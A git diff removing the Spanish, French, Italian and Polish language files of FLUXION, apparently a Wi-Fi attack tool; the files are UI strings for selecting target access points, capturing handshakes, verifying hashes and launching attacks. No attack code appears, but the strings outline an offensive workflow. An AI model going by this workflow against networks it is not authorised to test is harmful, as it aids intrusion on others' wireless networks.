-FLUXIONThanksSupportersNotice="Thank you for using FLUXION" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/language/es.sh b/fluxion_origins/language/es.sh deleted file mode 100755 index 33cebc8..0000000 --- a/fluxion_origins/language/es.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash -# Spanish -# native: Español - -FLUXIONInterfaceQuery="Seleccione una interfase" -FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" -FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" -FLUXIONReidentifyingInterface="Renaming interface." -FLUXIONUnblockingWINotice="Unblocking all wireless interfaces..." -#FLUXIONFindingExtraWINotice="Looking for extraneous wireless interfaces..." -FLUXIONRemovingExtraWINotice="Removing extraneous wireless interfaces..." -FLUXIONFindingWINotice="Looking for available wireless interfaces..." -FLUXIONSelectedBusyWIError="The wireless interface selected appears to be currently in use!" -FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." -FLUXIONGatheringWIInfoNotice="Gathering interface information..." -FLUXIONUnknownWIDriverError="Unable to determine interface driver!" -FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..." -FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..." -FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..." -FLUXIONKillingConflictingProcessesNotice="Killing notorious services..." -FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!" -FLUXIONStartingWIMonitorNotice="Starting monitor interface..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." -FLUXIONTargetTrackerInterfaceQuery="Select an interface for target tracking." -FLUXIONTargetTrackerInterfaceQueryTip="${CBYel}Avoid selecting a virtual interface here.${CClr}" -FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" -FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." -FLUXIONContinueWithTargetQuery="Continue with this target?" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONStartingScannerNotice="Starting scanner, please wait..." -FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." -FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..." -FLUXIONScannerFailedNotice="Wireless card may not be supported (no APs found)" -FLUXIONScannerDetectedNothingNotice="No access points were detected, returning..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashFileDoesNotExistError="Hash file does not exist!" -FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!" -FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!" -FLUXIONPathToHandshakeFileQuery="Enter path to handshake file $CClr(Example: /.../dump-01.cap)" -FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." -FLUXIONAbsolutePathInfo="Absolute path" -FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelQuery="Seleccione canal" -FLUXIONScannerChannelOptionAll="Todos los canales " -FLUXIONScannerChannelOptionSpecific="Canal(es) específico(s)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelSingleTip="Canal único" -FLUXIONScannerChannelMiltipleTip="Canales múltiples" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerHeader="FLUXION Escáner" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashSourceQuery="Select a method to retrieve the handshake" -FLUXIONHashSourcePathOption="Path to capture file" -FLUXIONHashSourceRescanOption="Handshake directory (rescan)" -FLUXIONFoundHashNotice="A hash for the target AP was found." -FLUXIONUseFoundHashQuery="Do you want to use this file?" -FLUXIONUseFoundHashOption="Use hash found" -FLUXIONSpecifyHashPathOption="Specify path to hash" -FLUXIONHashVerificationMethodQuery="Select a method of verification for the hash" -FLUXIONHashVerificationMethodPyritOption="pyrit verification" -FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}unreliable$CClr)" -FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}recommended$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONAttackQuery="Seleccione un ataque inalámbrico para el punto de acceso" -FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attack in progress..." -FLUXIONSelectAnotherAttackOption="Select another attack" -FLUXIONAttackResumeQuery="This attack has already been configured." -FLUXIONAttackRestoreOption="Restore attack" -FLUXIONAttackResetOption="Reset attack" -FLUXIONAttackRestartOption="Restart" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONGeneralSkipOption="${CYel}Skip" -FLUXIONGeneralBackOption="${CRed}Atrás" -FLUXIONGeneralExitOption="${CRed}Salir" -FLUXIONGeneralRepeatOption="${CRed}Repetir" -FLUXIONGeneralNotFoundError="No_Encontrado" -FLUXIONGeneralXTermFailureError="${CRed}Failed to start xterm session (possible misconfiguration)." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONCleanupAndClosingNotice="Limpiando y cerrando" -FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" -FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" -FLUXIONDisablingMonitorNotice="Deshabilitando interfaz de monitoreo" -FLUXIONDisablingExtraInterfacesNotice="Deshabilitando interfaz" -FLUXIONDisablingPacketForwardingNotice="Deshabilitando ${CGry}reenvio de paquetes" -FLUXIONDisablingCleaningIPTablesNotice="Limpiando ${CGry}iptables" -FLUXIONRestoringTputNotice="Restaurando ${CGry}tput" -FLUXIONDeletingFilesNotice="Deleting ${CGry}files" -FLUXIONRestartingNetworkManagerNotice="Reiniciando ${CGry}Network-Manager" -FLUXIONCleanupSuccessNotice="Limpieza realizada satisfactoriamente!" -FLUXIONThanksSupportersNotice="Gracias por usar FLUXION" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/language/fr.sh b/fluxion_origins/language/fr.sh deleted file mode 100755 index 655e748..0000000 --- a/fluxion_origins/language/fr.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash -# French -# native: français - -FLUXIONInterfaceQuery="Sélectionnez une interface" -FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" -FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" -FLUXIONReidentifyingInterface="Renaming interface." -FLUXIONUnblockingWINotice="Débloque toutes les interfaces wireless..." -#FLUXIONFindingExtraWINotice="Cherche des interfaces wireless externes..." -FLUXIONRemovingExtraWINotice="Suppression des interfaces wireless externes..." -FLUXIONFindingWINotice="Cherche des interfaces wireless disponibles..." -FLUXIONSelectedBusyWIError="L'interface wireless sélectionnée semble déjà en cours d'utilisation !" -FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." -FLUXIONGatheringWIInfoNotice="Récupération des informations d'interface..." -FLUXIONUnknownWIDriverError="Incapable de déterminer les drivers d'interface !" -FLUXIONUnloadingWIDriverNotice="En attente du déchargement de l'interface \"\$interface\"..." -FLUXIONLoadingWIDriverNotice="En attente du chargement de l'interface \"\$interface\"..." -FLUXIONFindingConflictingProcessesNotice="Looking for notorious services..." -FLUXIONKillingConflictingProcessesNotice="Killing notorious services..." -FLUXIONPhysicalWIDeviceUnknownError="${CRed}Incapable de déterminer l'interface physique !" -FLUXIONStartingWIMonitorNotice="Lancement de l'interface de monitoring..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." -FLUXIONTargetTrackerInterfaceQuery="Select an interface for target tracking." -FLUXIONTargetTrackerInterfaceQueryTip="${CBYel}Avoid selecting a virtual interface here.${CClr}" -FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" -FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." -FLUXIONContinueWithTargetQuery="Continue with this target?" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONStartingScannerNotice="Lancement du scanner, veuillez patienter..." -FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." -FLUXIONPreparingScannerResultsNotice="Synthèse des résultats du scan, veuillez patienter..." -FLUXIONScannerFailedNotice="Carte wireless probablement pas supportée (pas de point d'accès trouvé)." -FLUXIONScannerDetectedNothingNotice="Pas de point d'accès trouvé, retour..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashFileDoesNotExistError="Fichier hash inexistant !" -FLUXIONHashInvalidError="${CRed}Error$CClr, fichier hash invalide !" -FLUXIONHashValidNotice="${CGrn}Success$CClr, vérification du hash complète !" -FLUXIONPathToHandshakeFileQuery="Entrez le chemin du hash $CClr(Exemple: /.../dump-01.cap)" -FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." -FLUXIONAbsolutePathInfo="Chemin absolu" -FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelQuery="Sélectionnez un canal" -FLUXIONScannerChannelOptionAll="Tous les canaux" -FLUXIONScannerChannelOptionSpecific="Canal spécifique" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelSingleTip="Un seul canal" -FLUXIONScannerChannelMiltipleTip="Plusieurs canaux" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerHeader="Scanner FLUXION" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashSourceQuery="Sélectionnez une méthode de récupération de handshake" -FLUXIONHashSourcePathOption="Chemin du fichier capturé" -FLUXIONHashSourceRescanOption="Dossier du handshake (rescan)" -FLUXIONFoundHashNotice="Un hash pour le point d'accès ciblé a été trouvé." -FLUXIONUseFoundHashQuery="Voulez-vous utiliser ce fichier ?" -FLUXIONUseFoundHashOption="Use hash found" -FLUXIONSpecifyHashPathOption="Specify path to hash" -FLUXIONHashVerificationMethodQuery="Sélectionnez une méthode de vérification du hash" -FLUXIONHashVerificationMethodPyritOption="vérification pyrit" -FLUXIONHashVerificationMethodAircrackOption="vérification aircrack-ng (${CYel}peu fiable$CClr)" -FLUXIONHashVerificationMethodCowpattyOption="vérification cowpatty (${CGrn}recommandé$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONAttackQuery="Sélectionnez une attaque wireless pour le point d'accès" -FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attaque en cours..." -FLUXIONSelectAnotherAttackOption="Sélectionnez une autre attaque" -FLUXIONAttackResumeQuery="This attack has already been configured." -FLUXIONAttackRestoreOption="Restore attack" -FLUXIONAttackResetOption="Reset attack" -FLUXIONAttackRestartOption="Restart" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONGeneralSkipOption="${CYel}Skip" -FLUXIONGeneralBackOption="${CRed}Retour" -FLUXIONGeneralExitOption="${CRed}Sortie" -FLUXIONGeneralRepeatOption="${CRed}Repeat" -FLUXIONGeneralNotFoundError="Non trouvé" -FLUXIONGeneralXTermFailureError="${CRed} Echec au lancement de la session xterm (mauvaise configuration possible)." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONCleanupAndClosingNotice="Nettoyage et fermeture" -FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" -FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" -FLUXIONDisablingMonitorNotice="Désactivation de l'interface de monitoring" -FLUXIONDisablingExtraInterfacesNotice="Désactivation de l'interface" -FLUXIONDisablingPacketForwardingNotice="Désactivation de ${CGry}transmission de paquets" -FLUXIONDisablingCleaningIPTablesNotice="Nettoyage de ${CGry}iptables" -FLUXIONRestoringTputNotice="Restauration de ${CGry}tput" -FLUXIONDeletingFilesNotice="Suppression ${CGry}files" -FLUXIONRestartingNetworkManagerNotice="Redémarrage de ${CGry}Network-Manager" -FLUXIONCleanupSuccessNotice="Nettoyage effectué avec succès !" -FLUXIONThanksSupportersNotice="Merci d'avoir utilisé FLUXION !" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/language/it.sh b/fluxion_origins/language/it.sh deleted file mode 100755 index e1d77ed..0000000 --- a/fluxion_origins/language/it.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash -# Italian -# native: italiano - -FLUXIONInterfaceQuery="Seleziona un'interfaccia" -FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" -FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" -FLUXIONReidentifyingInterface="Renaming interface." -FLUXIONUnblockingWINotice="Sblocca tutte le interfacce wireless..." -#FLUXIONFindingExtraWINotice="Trova interfacce extra wireless..." -FLUXIONRemovingExtraWINotice="Rimuove interfacce extra wireless..." -FLUXIONFindingWINotice="Trova interfacce wireless disponibili..." -FLUXIONSelectedBusyWIError="L'interfaccia selezionata sembra in uso in questo momento!" -FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." -FLUXIONGatheringWIInfoNotice="Raccolta informazioni interfaccia..." -FLUXIONUnknownWIDriverError="Impossibile trovare il driver dell'interfaccia!" -FLUXIONUnloadingWIDriverNotice="Attendo che l'interfaccia \"\$interface\" venga scaricata..." -FLUXIONLoadingWIDriverNotice="Attendo che l'interfaccia \"\$interface\" venga caricata..." -FLUXIONFindingConflictingProcessesNotice="Individuo i servizi noti..." -FLUXIONKillingConflictingProcessesNotice="Chiudo i servizi noti..." -FLUXIONPhysicalWIDeviceUnknownError="${CRed}Impossibile determinare l'interfaccia del dispositivo fisico!" -FLUXIONStartingWIMonitorNotice="Avvio dell'interfaccia MONITOR..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." -FLUXIONTargetTrackerInterfaceQuery="Select an interface for target tracking." -FLUXIONTargetTrackerInterfaceQueryTip="${CBYel}Avoid selecting a virtual interface here.${CClr}" -FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" -FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." -FLUXIONContinueWithTargetQuery="Continue with this target?" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONStartingScannerNotice="Avvio Scanner, attendi..." -FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." -FLUXIONPreparingScannerResultsNotice="Sintetizzo i risultati dello scan, attendi..." -FLUXIONScannerFailedNotice="La scheda Wireless non è supportata (nessun APs trovato)" -FLUXIONScannerDetectedNothingNotice="Nessun Access Point e' stato trovato, ritorno..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashFileDoesNotExistError="Il file di hash non esiste!" -FLUXIONHashInvalidError="${CRed}Errore$CClr, hash del file invalido!" -FLUXIONHashValidNotice="${CGrn}Perfetto$CClr, verifica hash completata!" -FLUXIONPathToHandshakeFileQuery="Inserisci il percorso del file di handshake $CClr(Esempio: /.../dump-01.cap)" -FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." -FLUXIONAbsolutePathInfo="Path assoluto" -FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelQuery="Selezione Canale" -FLUXIONScannerChannelOptionAll="Tutti i Canali" -FLUXIONScannerChannelOptionSpecific="Definisci Canale/i" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelSingleTip="Canale Singolo" -FLUXIONScannerChannelMiltipleTip="Canali Multipli" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerHeader="WIFI Monitor" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashSourceQuery="Seleziona il metodo di scoperta dell'handshake" -FLUXIONHashSourcePathOption="Path del file catturato" -FLUXIONHashSourceRescanOption="Handshake directory (rescan)" -FLUXIONFoundHashNotice="L'hash del target AP è stato trovato." -FLUXIONUseFoundHashQuery="Vuoi usare questo file?" -FLUXIONUseFoundHashOption="Use hash found" -FLUXIONSpecifyHashPathOption="Specify path to hash" -FLUXIONHashVerificationMethodQuery="Seleziona il metodo di verifica dell'hash" -FLUXIONHashVerificationMethodPyritOption="pyrit verification" -FLUXIONHashVerificationMethodAircrackOption="aircrack-ng verification (${CYel}inaffidabile$CClr)" -FLUXIONHashVerificationMethodCowpattyOption="cowpatty verification (${CGrn}raccomandato$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONAttackQuery="Seleziona la tua scelta" -FLUXIONAttackInProgressNotice="${CCyn}\$FluxionAttack$CClr attacco in corso..." -FLUXIONSelectAnotherAttackOption="Seleziona un altro tipo di attacco" -FLUXIONAttackResumeQuery="This attack has already been configured." -FLUXIONAttackRestoreOption="Restore attack" -FLUXIONAttackResetOption="Reset attack" -FLUXIONAttackRestartOption="Restart" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONGeneralSkipOption="${CYel}Skip" -FLUXIONGeneralBackOption="${CRed}Indietro" -FLUXIONGeneralExitOption="${CRed}Esci" -FLUXIONGeneralRepeatOption="${CRed}Repeat" -FLUXIONGeneralNotFoundError="Non Trovato" -FLUXIONGeneralXTermFailureError="${CRed}Errore nell'avvio della sessione XTerm (possibile configurazione errata)." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONCleanupAndClosingNotice="Pulizia e chiusura" -FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" -FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" -FLUXIONDisablingMonitorNotice="Disabilito l'Interfaccia Monitor" -FLUXIONDisablingExtraInterfacesNotice="Disabilito l'Interfaccia" -FLUXIONDisablingPacketForwardingNotice="Disabilito ${CGry}l'invio dei pacchetti" -FLUXIONDisablingCleaningIPTablesNotice="Pulisco ${CGry}iptables" -FLUXIONRestoringTputNotice="Ripristino ${CGry}tput" -FLUXIONDeletingFilesNotice="Cancello ${CGry}files" -FLUXIONRestartingNetworkManagerNotice="Riavvio il ${CGry}Network-Manager" -FLUXIONCleanupSuccessNotice="Pulizia avvenuta con successo!" -FLUXIONThanksSupportersNotice="Grazie per aver utilizzato Fluxion" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> - -# FLUXSCRIPT END diff --git a/fluxion_origins/language/pl.sh b/fluxion_origins/language/pl.sh deleted file mode 100644 index 4ec286b..0000000 --- a/fluxion_origins/language/pl.sh +++ /dev/null @@ -1,97 +0,0 @@ -#!/usr/bin/env bash -# English -# native: Polski - -FLUXIONInterfaceQuery="Wybierz kartę bezprzewodową..." -FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONDeallocatingInterfaceNotice="Deallocating reserved interface $CGrn\"\$interfaceIdentifier\"." -FLUXIONInterfaceAllocatedNotice="${CGrn}Interface allocation succeeded!" -FLUXIONInterfaceAllocationFailedError="${CRed}Interface reservation failed!" -FLUXIONReidentifyingInterface="Renaming interface." -FLUXIONUnblockingWINotice="Odblokowanie wszystkick kart bezprzewodowych..." -#FLUXIONFindingExtraWINotice="Wyszukiwanie zewnętrznych kart bezprzewodowych..." -FLUXIONRemovingExtraWINotice="Usuwanie zewnętrznych kart bezprzewodowych..." -FLUXIONFindingWINotice="Wyszukiwanie dostępnych kart bezprzewodowych..." -FLUXIONSelectedBusyWIError="Wygląda na to, że wybrana karta bezprzewodowa jest obecnie używana!" -FLUXIONSelectedBusyWITip="This is usually caused by the network manager using the interface selected. We recommened you$CGrn gracefully stop the network manager$CClr or configure it to ignored the selected interface. Alternatively, run \"export FLUXIONWIKillProcesses=1\" before fluxion to kill it but we suggest you$CRed avoid using the killer flag${CClr}." -FLUXIONGatheringWIInfoNotice="Pozyskiwanie informacji o karcie..." -FLUXIONUnknownWIDriverError="Nie można ustalić sterownika karty!" -FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$interface\" to unload..." -FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$interface\" to load..." -FLUXIONFindingConflictingProcessesNotice="Poszukiwanie przeszkadzających usług..." -FLUXIONKillingConflictingProcessesNotice="Zabijanie przeszkadzających usług..." -FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!" -FLUXIONStartingWIMonitorNotice="Starting monitor interface..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONTargetSearchingInterfaceQuery="Select a wireless interface for target searching." -FLUXIONTargetTrackerInterfaceQuery="Select an interface for target tracking." -FLUXIONTargetTrackerInterfaceQueryTip="${CBYel}Avoid selecting a virtual interface here.${CClr}" -FLUXIONIncompleteTargettingInfoNotice="Missing ESSID, BSSID, or channel information!" -FLUXIONTargettingAccessPointAboveNotice="Fluxion is targetting the access point above." -FLUXIONContinueWithTargetQuery="Continue with this target?" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONStartingScannerNotice="Uruchamianie skanera, proszę czekać..." -FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner (ctrl+c)." -FLUXIONPreparingScannerResultsNotice="Synthesizing scan results, please wait..." -FLUXIONScannerFailedNotice="Twoja karta może być nie obsługiwana (nie znaleziono żadnego(ych) AP)" -FLUXIONScannerDetectedNothingNotice="Nie znaleziono punktów dostępu, powracanie..." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashFileDoesNotExistError="Plik hash nie istnieje!" -FLUXIONHashInvalidError="${CRed}Error$CClr, invalid hash file!" -FLUXIONHashValidNotice="${CGrn}Success$CClr, hash verification completed!" -FLUXIONPathToHandshakeFileQuery="Podaj ścieżkę dostępu do pliku handshake $CClr(Example: /.../dump-01.cap)" -FLUXIONPathToHandshakeFileReturnTip="To go back, leave the hash path blank." -FLUXIONAbsolutePathInfo="Absolute path" -FLUXIONEmptyOrNonExistentHashError="${CRed}Error$CClr, path points to non-existing or empty hash file." -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelQuery="Wybierz kanał do monitorowania" -FLUXIONScannerChannelOptionAll="Wszystkie kanały" -FLUXIONScannerChannelOptionSpecific="Wybrany(e) kanał(y)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerChannelSingleTip="Jeden kanał" -FLUXIONScannerChannelMiltipleTip="Wiele kanałów" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONScannerHeader="Skaner FLUXION" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONHashSourceQuery="Wybierz metodę pozyskania handshake'a" -FLUXIONHashSourcePathOption="Path to capture file" -FLUXIONHashSourceRescanOption="Handshake directory (rescan)" -FLUXIONFoundHashNotice="Hash dla AP został znaleziony." -FLUXIONUseFoundHashQuery="Chcesz użyć ten plik?" -FLUXIONUseFoundHashOption="Use hash found" -FLUXIONSpecifyHashPathOption="Specify path to hash" -FLUXIONHashVerificationMethodQuery="Wybierz metodę weryfikacji hash'a" -FLUXIONHashVerificationMethodPyritOption="weryfikacja przy pomocy pyrit-a" -FLUXIONHashVerificationMethodAircrackOption="weryfikacja przy pomocy aircrack-ng (${CYel}unreliable$CClr)" -FLUXIONHashVerificationMethodCowpattyOption="weryfikacja przy pomocy cowpatty (${CGrn}recommended$CClr)" -# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> -FLUXIONAttackQuery="Wybierz rodzaj ataka na punkt dostępowy" -FLUXIONAttackInProgressNotice="Atak ${CCyn}\$FluxionAttack$CClr w trakcie..." -FLUXIONSelectAnotherAttackOption="Wybierz inny rodzaj ataku" -FLUXIONAttackResumeQuery="This attack has already been configured." -FLUXIONAttackRestoreOption="Restore attack" -FLUXIONAttackResetOption="Reset attack" -FLUXIONAttackRestartOption="Restart" 